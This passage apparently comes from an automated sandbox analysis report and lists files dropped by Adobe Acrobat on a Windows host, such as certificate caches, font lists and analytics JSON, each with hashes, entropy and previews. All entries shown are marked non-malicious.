Preview:	0..k0..S............@.YDc.c...0....H........0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10...150604110438Z..350604110438Z0O1.0...U....US1)0'..U... Internet Security Research Group1.0...U....ISRG Root X10.."0....H.............0..........$s..7.+W(.....8..n<.W.x.u...jn..O(..h.lD...c...k....1.!~.3<.H..y.....!.K...qiJffl.~<p..)"......K...~....G.\|.H#S.8.O.o...IW..t../.8.{.p!.u.0<.....c...O..K~.....w...{J.L.%.p..)..S$........J.?..aQ.....cq...o[...\4ylv.;.by.../&.....................6....7..6u...r......I......A..v........5/(.l....dwnG7..Y^h..r...A)>Y>.&.$...Z.L@.F....:Qn.;.}r...xY.>Qx....../..>{J.Ks......P.\|C.t..t.....0.[q6....00\H..;..}`...).........A.......\|.;F.H..v.v..j.=...8.d..+..(.....B.".'].y...p..N..:..'Qn..d.3CO......B0@0...U...........0...U.......0....0...U......y.Y.{....s.....X..n0...*.H.............U.X....P.....i ')..au\.n...i/..VK..s.Y.!.~.Lq...`.9....!V..P.Y...Y.............b.E.f..\|o..;.....'...}~.."......

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	Microsoft Cabinet archive data, Windows 2000/XP setup, 71954 bytes, 1 file, at 0x2c +A "authroot.stl", number 1, 6 datablocks, 0x1 compression
Category:	dropped
Size (bytes):	71954
Entropy (8bit):	7.996617769952133
Encrypted:	true
SSDEEP:	1536:gc257bHnClJ3v5mnAQEBP+bfnW8Ctl8G1G4eu76NWDdB34w18R5cBWcJAm68+Q:gp2ld5jPqW8LgeulxB3fgcEfDQ
MD5:	49AEBF8CBD62D92AC215B2923FB1B9F5
SHA1:	1723BE06719828DDA65AD804298D0431F6AFF976
SHA-256:	B33EFCB95235B98B48508E019AFA4B7655E80CF071DEFABD8B2123FC8B29307F
SHA-512:	BF86116B015FB56709516D686E168E7C9C68365136231CC51D0B6542AE95323A71D2C7ACEC84AAD7DCECC2E410843F6D82A0A6D51B9ACFC721A9C84FDD877B5B
Malicious:	false
Preview:	MSCF............,...................I..................XaK .authroot.stl.[.i..6..CK..<Tk......4.cl!Kg..E..Y.f_..".$mR"$.J.E.KB."..rKv.."{.g....3.W.....c..9.s...=....y6#..x..........D......\(.#.s.!.A.......cd.c........+^.ov...n.....3BL..0.......BPUR&.X..02.q...R...J.....w.....b.vy>....-.&..(..oe."."...J9...0U.6J..\|U..S.....M.F8g...=.......p...........l.?3.J.x.G.Ep..$g..tj......)v]9(:.)W.8.Op.1Q..:.nPd........7.7..M].V F..g.....12..!7(...B.......h.RZ.......l.<.....6..Z^.`p?... .p.Gp.#.'.X..........\|!.8.....".m.49r?.I...g...8.v.....a``.g.R4.i...J8q....NFW,E.6Y....!.o5%.Y.....R..<..S9....r....WO...(.....F..Q=....-..7d..O(....-..+k.........K..........{Q....Z..j._.E...QZ.~.\.^......N.9.k..O.}dD.b1r...[}/....T..E..G..c.\|.c.&>?..^t. ..;..X.d.E.0G....[Q.,......#.Dp..L.o\|#syc.J............}G-.ou6.=52..XWi=...m.....^u......c..fc?&pR7S5....I...j.G........j.j..Tc.El.....B.pQ.,Bp....j...9g.. >..s..m#.Nb.o_u.M.V...........\#...v..Mo\sF..s....Y...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	dropped
Size (bytes):	192
Entropy (8bit):	2.7386214950254377
Encrypted:	false
SSDEEP:	3:kkFkloy5fb3/tfllXlE/HT8kH1NNX8RolJuRdxLlGB9lQRYwpDdt:kKxqfbPeT8M7NMa8RdWBwRd
MD5:	157D3DE090110C8F7509833B8F7BAA17
SHA1:	119331F9FC94ED3E97312EF8B6C159A22A11DE36
SHA-256:	122B20A0B33D7E12583BF853BAACFA8FEAE7631B1DBA197E591EC1886F46AE88
SHA-512:	2D8084CC08B9C0672A601AA08A0BFC9B9016E9FA315F1D5AE0B4B0F3322DE44C88D6288200471A69E6AD3C8E934B044ED7A30EF5C6CE80F8CC6E00BD0483F932
Malicious:	false
Preview:	p...... ........[....c..(....................................................... ..........W....ow..............o...h.t.t.p.:././.x.1...i...l.e.n.c.r...o.r.g./...".6.4.c.d.6.6.5.4.-.5.6.f."...

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe
File Type:	data
Category:	modified
Size (bytes):	328
Entropy (8bit):	3.228493818544754
Encrypted:	false
SSDEEP:	6:kKW9L9UswD8HGsL+N+SkQlPlEGYRMY9z+4KlDA3RUebT3:+9iDImsLNkPlE99SNxAhUe/3
MD5:	7A732C5CF1209581287D3B327874A44A
SHA1:	B7382A11E0334BC7B9E9B045A39DCDB158EDEC5C
SHA-256:	356AFE30412CF954492F20BFD2BF74FE13D971CC0FBF64A46054623E1DA5DBEF
SHA-512:	3B2C1BB048938677A2A09CB6E71618E54A71CD050BDD7480C6ECC1EBD5E118259A6FBC4C64FA83DA60AAFDE44E022AF19C994BB0CA6AA7F20FA64D7928C478E3
Malicious:	false
Preview:	p...... .............c..(....................................................... ........G..@.......&......X........h.t.t.p.:././.c.t.l.d.l...w.i.n.d.o.w.s.u.p.d.a.t.e...c.o.m./.m.s.d.o.w.n.l.o.a.d./.u.p.d.a.t.e./.v.3./.s.t.a.t.i.c./.t.r.u.s.t.e.d.r./.e.n./.a.u.t.h.r.o.o.t.s.t.l...c.a.b...".a.7.2.8.2.e.b.4.0.b.1.d.a.1.:.0."...

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7828

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	1233
Entropy (8bit):	5.233980037532449
Encrypted:	false
SSDEEP:	24:kk8id8HxPsMTtrid8OPgx4sMDHFidZxDWksMwEidMKRxCsMWaOtidMLgxT2sMW0l:pkxPhtgNgx4pyZxakazxCIK2gxap
MD5:	8BA9D8BEBA42C23A5DB405994B54903F
SHA1:	FC1B1646EC8A7015F492AA17ADF9712B54858361
SHA-256:	862DE2165B9D44422E84E25FFE267A5E1ADE23F46F04FC6F584C4943F76EB75C
SHA-512:	26AD41BB89AF6198515674F21B4F0F561DC9BDC91D5300C154065C57D49CCA61B4BA60E5F93FD17869BDA1123617F26CDA0EF39935A9C2805F930A3DB1956D5A
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AdobeFnt23.lst.7828

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	PostScript document text
Category:	dropped
Size (bytes):	10880
Entropy (8bit):	5.214360287289079
Encrypted:	false
SSDEEP:	192:SgAYm4DAv6oq6oCf6ocL6oz6o46ok6o16ok6oKls6oVtfZ6ojtou6o2ti16oGwX/:SV548vvqvSvivzv4vkv1vkvKlsvVtfZp
MD5:	B60EE534029885BD6DECA42D1263BDC0
SHA1:	4E801BA6CA503BDAE7E54B7DB65BE641F7C23375
SHA-256:	B5F094EFF25215E6C35C46253BA4BB375BC29D055A3E90E08F66A6FDA1C35856
SHA-512:	52221F919AEA648B57E567947806F71922B604F90AC6C8805E5889AECB131343D905D94703EA2B4CEC9B0C1813DDA6EAE2677403F58D3B340099461BBCD355AE
Malicious:	false
Preview:	%!Adobe-FontList 1.23.%Locale:0x809..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-H.Registry:Adobe.Ordering:Identity.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-H.FileLength:8228.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:Identity-V.Registry:Adobe.Ordering:Identity.UseCMap:Identity-H.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\Identity-V.FileLength:2761.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UCS2-GBK-EUC.Registry:Adobe.Ordering:UCS2_GBK_EUC.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UCS2-GBK-EUC.FileLength:243835.FileModTime:1612212568.%EndFont..%BeginFont.Handler:DirectoryHandler.FontType:CMap.CMapName:UniKS-UTF16-H.Registry:Adobe.Ordering:Korea1.OutlineFileName:C:\Program Files\Adobe\Acrobat DC\Resource\CMap\UniKS-UTF16-H.FileLength:131902.FileModTime:1612212568.%EndFont..%BeginFont.Handler:D

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\ACROBAT_READER_MASTER_SURFACEID

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.314658198632094
Encrypted:	false
SSDEEP:	6:YEQXJ2HXgAdB3yYvB3/dVlPIHAR0Y+ixoAvJM3g98kUwPeUkwRe9:YvXKXLeYvR/ZwHAalGMbLUkee9
MD5:	2A4ACF7C48EA99BD4A01788A5C966456
SHA1:	BF8C674D5F6BBDC7511175AD822F9F20B1810E1A
SHA-256:	0DC9A8965F78E9BF4F78D9B0C7B6AF61B6B355C34F345ADAFC8B7433BC24C5CA
SHA-512:	BCA4A66E8291B215BFE9B81ADCADAA37D7AB8B140274CDC53B77197E97D7A3269CD7A9A3FD315399267F8D9282CF6110378DEB81529A68E2E965CDB94534BE63
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"948e99bd-069c-48b7-8d44-93aa2b7e33ce","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736748032797,"statusCode":200,"surfaceID":"ACROBAT_READER_MASTER_SURFACEID","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Home_View_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.250343276987864
Encrypted:	false
SSDEEP:	6:YEQXJ2HXgAdB3yYvB3/dVlPIHAR0Y+ixoAvJfBoTfXpnrPeUkwRe9:YvXKXLeYvR/ZwHAalGWTfXcUkee9
MD5:	6E92AE5518B89E521584D0ADD5CA73DF
SHA1:	B0108A17A6A98A2587BE1DACF1587533D7D886AD
SHA-256:	C3EA8E0F6C02D36D25ABA53E12F0360295C4EC75852D44141AF06D9F768BADDD
SHA-512:	ADF92478B207839511F0029E25A6930C4B8659F53E67F5EEB3BCDD6952464E7D12269B314FFBB96ACF879523F8FF6F2A4911D2CEDFED46B7E02396AE6B5EF0A0
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"948e99bd-069c-48b7-8d44-93aa2b7e33ce","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736748032797,"statusCode":200,"surfaceID":"DC_FirstMile_Home_View_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_FirstMile_Right_Sec_Surface

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	294
Entropy (8bit):	5.229164352033463
Encrypted:	false
SSDEEP:	6:YEQXJ2HXgAdB3yYvB3/dVlPIHAR0Y+ixoAvJfBD2G6UpnrPeUkwRe9:YvXKXLeYvR/ZwHAalGR22cUkee9
MD5:	D6FBEFC8B55470661F88EF6166742E09
SHA1:	5FAADEA8EC8A55514F0A08E809F8A9F57670EECA
SHA-256:	E25BE09B90B9DBA183307B3819F2EDC7D5E1D67A8EA9A0B3E43317649CF825AF
SHA-512:	425723FE3914111D98734B33E73F66FB906D1D706B9B114C69FADE1950C73F283E4D78943585B056C5D5045E121ACF25C5A76D56120212A1FD24A1BC6F3AB805
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"948e99bd-069c-48b7-8d44-93aa2b7e33ce","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736748032797,"statusCode":200,"surfaceID":"DC_FirstMile_Right_Sec_Surface","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_READER_LAUNCH_CARD

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	285
Entropy (8bit):	5.289897791223527
Encrypted:	false
SSDEEP:	6:YEQXJ2HXgAdB3yYvB3/dVlPIHAR0Y+ixoAvJfPmwrPeUkwRe9:YvXKXLeYvR/ZwHAalGH56Ukee9
MD5:	88CF26AFD06C2C4C46D79CFAE23F936F
SHA1:	8854205329DF5921FA254A038EB8ADE17E73C67D
SHA-256:	6157A20FF67621EF6F383C44078CCC8533F8CE5E51AA0D8D76168CF60B13DEB6
SHA-512:	D1D84A8C4F7EE80328C097C4AB6D2AB651A711ABAB7606F69ACACD67360968D5758F0E4EFB926CCC67A6E93A1B7440EA32FDEF98535CE35AF2F3E6E9701867E8
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"948e99bd-069c-48b7-8d44-93aa2b7e33ce","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736748032797,"statusCode":200,"surfaceID":"DC_READER_LAUNCH_CARD","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Convert_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1123
Entropy (8bit):	5.686624562012155
Encrypted:	false
SSDEEP:	24:Yv6XLeYJh+qpLgE9cQx8LennAvzBvkn0RCmK8czOCCS6S:YvzYJh+qhgy6SAFv5Ah8cv/6S
MD5:	DA60974A8DB85DD010AB42B10ACBA0AB
SHA1:	86CA83E418C20714E2A5C5AA7D47205AA3E5C803
SHA-256:	7ED20578D1703E8633C1AF748A40272B2F9BE8BF1A00EE18E852C40B97A2CDCA
SHA-512:	413EC76D5CA09091F488708F0A681EB7E5DB7E86E7D89043F7BBFB029FFE4504C881955E6FC878B0E4959B483D57D80840020DCB830EFF82C5455B2F6BE34FBE
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"948e99bd-069c-48b7-8d44-93aa2b7e33ce","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736748032797,"statusCode":200,"surfaceID":"DC_Reader_Convert_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{"surfaceId":"DC_Reader_Convert_LHP_Banner"},"containerMap":{"1":{"containerAnalyticsData":{"actionBlockId":"93365_289436ActionBlock_1","campaignId":93365,"containerId":"1","controlGroupId":"","treatmentId":"d5bba1ae-6009-4d23-8886-fd4a474b8ac9","variationId":"289436"},"containerId":1,"containerLabel":"JSON for DC_Reader_Convert_LHP_Banner","content":{"data":"eyJjdGEiOnsidGV4dCI6IkZyZWUgdHJpYWwiLCJjbGljayI6Im9wZW5Ub29sIiwidG9vbF9pZCI6IkNvbnZlcnRQREZSZHJSSFBBcHAifSwidWkiOnsidGl0bGVfc3R5bGluZyI6eyJmb250X3NpemUiOiIxNHB4IiwiZm9udF9zdHlsZSI6IjAifSwiZGVzY3JpcHRpb25fc3R5bGluZyI6eyJmb250X3NpemUiOiIxMnB4IiwiZm9udF9zdHlsZSI6Ii0xIn0sInRpdGxlIjpudWxsLCJkZXNjcmlwdGlvbiI6IkV4cG9ydCBQREZzIHRvIE1pY3Jvc29mdCBXb3JkIGFuZCBFeGNlbC4ifSwidGNh

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.2369939201203355
Encrypted:	false
SSDEEP:	6:YEQXJ2HXgAdB3yYvB3/dVlPIHAR0Y+ixoAvJf8dPeUkwRe9:YvXKXLeYvR/ZwHAalGU8Ukee9
MD5:	CF8A28EC0CADDAF97A91EDF9292FF424
SHA1:	0AD2A74BBC2CC619F195D52836480EE0236BCBAB
SHA-256:	3D3B1F5BBC365586A2FECE8C78BB09F2D72AB9BB740AA07A85AFC3349755D321
SHA-512:	C816D25EF0F2C6ADA70E04C4F926190E958393664782824C5AE200C6B021AF5215E696D99915B99307E186E7255D0063C2603CBE2D529030409A73A179B49121
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"948e99bd-069c-48b7-8d44-93aa2b7e33ce","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736748032797,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Disc_LHP_Retention

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	292
Entropy (8bit):	5.235754784376319
Encrypted:	false
SSDEEP:	6:YEQXJ2HXgAdB3yYvB3/dVlPIHAR0Y+ixoAvJfQ1rPeUkwRe9:YvXKXLeYvR/ZwHAalGY16Ukee9
MD5:	DDA96FFDEBEE6ACB4B988BAF56FA92E2
SHA1:	8D1399F1F3A14CC30BA7D19FE58112BB91587DB7
SHA-256:	ED84EEE8B7BE43BF3E301FCBEF2238B1EC1C64E970E4E6D47356C6AC6A91B02D
SHA-512:	17875419313A9C6F2D1453A5EB9130837899C64AA799B88BE86C58695A5E8DCDE10471E3333B658FB74C133222D97D5670457D28C284720342C9F0E712BC5F42
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"948e99bd-069c-48b7-8d44-93aa2b7e33ce","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736748032797,"statusCode":200,"surfaceID":"DC_Reader_Disc_LHP_Retention","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Edit_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.251461496509051
Encrypted:	false
SSDEEP:	6:YEQXJ2HXgAdB3yYvB3/dVlPIHAR0Y+ixoAvJfFldPeUkwRe9:YvXKXLeYvR/ZwHAalGz8Ukee9
MD5:	998524B9EB0EBD6AF4716F78A94750C5
SHA1:	E139E6708F58036839DA9D8DFE6FC69227E1A572
SHA-256:	0550FE4B32904875B573F7B3F3C016613010F6E4553E53725F9A97459970BBBE
SHA-512:	048FCD598478B01E6876449E55558392EE3BA68E8161F5D1A9DAB8628E9450E30D72584B186A88D20390515E8569EB88D7CF75143533F8C36A824E75D260090A
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"948e99bd-069c-48b7-8d44-93aa2b7e33ce","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736748032797,"statusCode":200,"surfaceID":"DC_Reader_Edit_LHP_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_Home_LHP_Trial_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	295
Entropy (8bit):	5.2660232187392
Encrypted:	false
SSDEEP:	6:YEQXJ2HXgAdB3yYvB3/dVlPIHAR0Y+ixoAvJfzdPeUkwRe9:YvXKXLeYvR/ZwHAalGb8Ukee9
MD5:	FDBA294BB2B900F08861F8B47A31E41E
SHA1:	62CE13E03C3944DFFA94771F8D37513EF45912BF
SHA-256:	41E7298073F08CE312CFB9A242141E910AFBDB4B49FC27CACE5A846E83AEB957
SHA-512:	B4CAA1BBAB60F09C959C6DCB6F4443D3AD4FFD575DD86599102318BC4D77FA70B3D21EE96A9DA4CE79C9C4604883845F7E22FF120B4CE54FF5C30304B6F37B40
Malicious:	false
Preview:	{"analyticsData":{"responseGUID":"948e99bd-069c-48b7-8d44-93aa2b7e33ce","sophiaUUID":"6BC8D74A-F8DC-462C-8ED4-D40FDD780397"},"encodingScheme":true,"expirationDTS":1736748032797,"statusCode":200,"surfaceID":"DC_Reader_Home_LHP_Trial_Banner","surfaceObj":{"SurfaceAnalytics":{},"containerMap":{}}}

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SOPHIA\Acrobat\Files\DC_Reader_More_LHP_Banner

Download File

Process:	C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	289
Entropy (8bit):	5.245559548318852
Encrypted:	false
SSDEEP:	6:YEQXJ2HXgAdB3yYvB3/dVlPIHAR0Y+ixoAvJfYdPeUkwRe9:YvXKXLeYvR/ZwHAalGg8Ukee9
MD5:	E4501B852C293CF4F0891BCD4FFF1F99
SHA1:	4B393BDF8FACB0179F25281F8E4FFFE0F482CFF3
SHA-256:	CF98DD27677BD10230A85B3CF2B23A6265FA8C14FA5B84CD2AA97D9ED9A23E57
